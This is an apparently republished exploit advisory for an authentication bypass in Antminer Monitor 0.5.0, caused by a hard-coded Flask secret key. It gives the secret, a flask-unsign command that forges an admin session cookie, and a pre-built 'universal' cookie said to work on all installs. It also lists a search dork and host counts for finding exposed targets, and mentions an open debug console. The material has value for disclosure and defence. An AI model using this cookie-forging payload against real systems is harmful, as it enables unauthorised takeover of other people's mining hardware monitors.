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Antminer Monitor 0.5.0 Authentication Bypass

CVE Category Price Severity
CVE-2019-14325 CWE-287 $5000 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2021-09-06
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090049

Below is a copy:

Antminer Monitor 0.5.0 Authentication Bypass
# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass
# Date: 09/06/2021
# Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22
# Exploit Author: CQR.company / Vulnz.
# Vendor Homepage: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
# Software Link: https://github.com/anselal/antminer-monitor, https://soulis.tech/
# Version: 0.5.0
# Tested on: Windows, Linux, Macos


Software is commonly used for Monitoring antminers and could easily be
found in zoomeye ( 800), shodan ( 500).

For now this is the most popular antminer monitoring tool.

Vulnerability in Antminer Monitor exists because of backdoor or
misconfiguration done

by developer inside settings file in flask server.

Settings file has a predefined secret string, which would be randomly
generated, however it is static in this
build.antminer-monitor/settings.py at
5c62e1064af30674bacb9e1917d5980efbde1fcd  anselal/antminer-monitor 
GitHub <https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py>

Secret key is 'super secret key'.

Based on this information we can craft authorization bypass cookies.

Using software flask-unsing we can generate cookie which will provide
you admin access.

flask-unsign --sign --cookie "{'_fresh': True, '_id':
b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
'_user_id': '1', 'csrf_token':
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
key"

Additionally you can use this universal cookie to access web interface
of flask application.

This cookie can work on all systems in "session" field.

.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU


In addition DEBUG = True which means /console works, however it needs pin.

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